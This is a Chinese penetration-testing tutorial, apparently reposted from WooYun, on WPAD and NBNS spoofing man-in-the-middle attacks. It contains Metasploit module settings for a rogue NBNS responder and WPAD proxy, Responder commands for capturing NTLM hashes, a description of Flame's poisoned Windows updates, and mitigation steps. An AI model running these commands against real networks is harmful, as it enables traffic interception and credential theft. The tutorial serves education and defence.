基於WPAD的中間人攻擊

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/12/14 10:33

0x00 前言


[email protected]很受啟發,於是對其實際利用做了進一步研究,發現基於WPAD的中間人攻擊很是有趣,現將收穫分享給大家。

p1

0x01 簡介


WPAD:

全稱網路代理自動發現協議(Web Proxy Autodiscovery Protocol),透過讓瀏覽器自動發現代理伺服器,定位代理配置檔案,下載編譯並執行,最終自動使用代理訪問網路。

PAC:

全稱代理自動配置檔案(Proxy Auto-Config),定義了瀏覽器和其他使用者代理如何自動選擇適當的代理伺服器來訪問一個URL。

要使用 PAC,我們應當在一個網頁伺服器上釋出一個PAC檔案,並且透過在瀏覽器的代理連結設定頁面輸入這個PAC檔案的URL或者透過使用WPAD協議告知使用者代理去使用這個檔案。

WPAD標準使用 wpad.dat,PAC檔案舉例:

#!js
function FindProxyForURL(url, host) {
   if (url== 'http://www.baidu.com/') return 'DIRECT';
   if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
   if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
   return 'DIRECT';
}

0x02 WPAD原理


如圖

這裡寫圖片描述

此圖片修改於http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a

使用者在訪問網頁時,首先會查詢PAC檔案的位置,具體方式如下:

1、透過DHCP伺服器

如圖

這裡寫圖片描述

web瀏覽器向DHCP伺服器傳送DHCP INFORM查詢PAC檔案位置

DHCP伺服器返回DHCP ACK資料包,包含PAC檔案位置

2、透過DNS查詢

web瀏覽器向DNS伺服器發起 WPAD+X 的查詢

DNS伺服器返回提供WPAD主機的IP地址

web瀏覽器透過該IP的80埠下載wpad.dat

3、透過NBNS查詢

Tips:

Windows 2K , XP , 2K3 只支援 DNS 和 NetBIOS

Windows Vista 之後(包括 2K8 , Win7,Win8.x,Win 10)支援DNS、NBNS、LLMNR

如果DHCP和DNS伺服器均沒有響應,同時當前快取沒有所請求的主機名,就會發起如下名稱解析:

如果當前系統支援LLMNR(Link-Local Multicast Name Resolution),先發起廣播LLMNR查詢,如果沒有響應再發起廣播NBNS查詢

如果有主機回應PAC檔案位置

web瀏覽器透過該IP的80埠下載wpad.dat

0x03 WPAD漏洞


對照WPAD的原理,不難發現其中存在的漏洞,如圖

這裡寫圖片描述

此圖片修改於 http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a

如果在被攻擊使用者發起NBNS查詢時偽造NBNS響應,那麼就能控制其透過偽造的代理伺服器上網,達到會話劫持的目的。

0x04 WPAD漏洞測試


測試環境:

被攻擊使用者:
win7 x86
192.168.16.191

攻擊使用者:
kali linux
192.168.16.245

測試過程:

1、監聽NBNS查詢

use auxiliary/spoof/nbns/nbns_response
set regex WPAD
set spoofip 192.168.16.245
run

如圖

這裡寫圖片描述

2、設定WPAD伺服器

use auxiliary/server/wpad
set proxy 192.168.16.245
run

如圖

這裡寫圖片描述

3、被攻擊使用者發起查詢

構造廣播NBNS查詢

需要使當前dbcp和dns伺服器均無法提供的PAC檔案位置

4、響應被攻擊機使用者的廣播NBNS查詢

如圖

這裡寫圖片描述

攻擊主機響應廣播NBNS查詢並指定PAC檔案位置

被攻擊主機訪問指定的PAC位置請求下載

wireshark抓包如圖

廣播NBNS查詢包,如圖

這裡寫圖片描述

NBNS查詢響應包,如圖

這裡寫圖片描述

被攻擊主機請求PAC檔案位置,如圖

這裡寫圖片描述

攻擊主機回覆PAC檔案資訊,如圖

這裡寫圖片描述

Tips:

虛擬機器環境下使用wireshark只抓本地資料包,需要取消混雜模式

如圖

這裡寫圖片描述

5、被攻擊機使用者使用偽造的代理配置上網

可在偽造的代理上面抓取被攻擊使用者的資料包,中間人攻擊成功。

0x05 WPAD實際利用


基於WPAD的中間人攻擊有多大威力,超級電腦病毒Flame給了我們很好的示範。

其工作模式如下:

1、SNACK: NBNS spoofing

監聽當前網路,如果收到了NBNS查詢包含WPAD字元,立即偽造NBNS響應

2、MUNCH: Spoofing proxy detection and Windows Update request

提供WPAD服務,用來更改被攻擊主機的WPAD設定

當其成功作為被攻擊主機的代理後,會劫持特定的Windows更新請求,提供帶有後門的windows更新檔案給使用者下載

如圖為測試環境下抓到的windows更新請求包

這裡寫圖片描述

Burp suite抓到的資料包:

這裡寫圖片描述

Flame最終成功實現了基於WPAD實施中間人攻擊,篡改windows更新資料,最終感染了內網其他主機。

0x06 防護


可透過如下設定關閉WPAD應用來避免此種攻擊:

Internet Explorer-Internet Options-Connections-LAN settings

取消選中Automatically detect settings

如圖

這裡寫圖片描述

這裡寫圖片描述

如果已被NBNS中間人攻擊,可透過檢視netbios快取檢查

nbtstat -c

如圖

這裡寫圖片描述

0x07 補充


Responder:

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

Responder可以說是內網中間人攻擊神器,很值得嘗試

簡單使用命令如下:

git clone https://github.com/SpiderLabs/Responder.git
cd Responder/

python Responder.py -I eth0 -i 192.168.16.245 -b

當被攻擊主機訪問主機共享時就能抓到其hash,如圖

這裡寫圖片描述

0x08 小結


雖然WPAD不是很新的技術,但是對其瞭解的都不太多,在內網滲透中應該被重視。

參考資料:

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章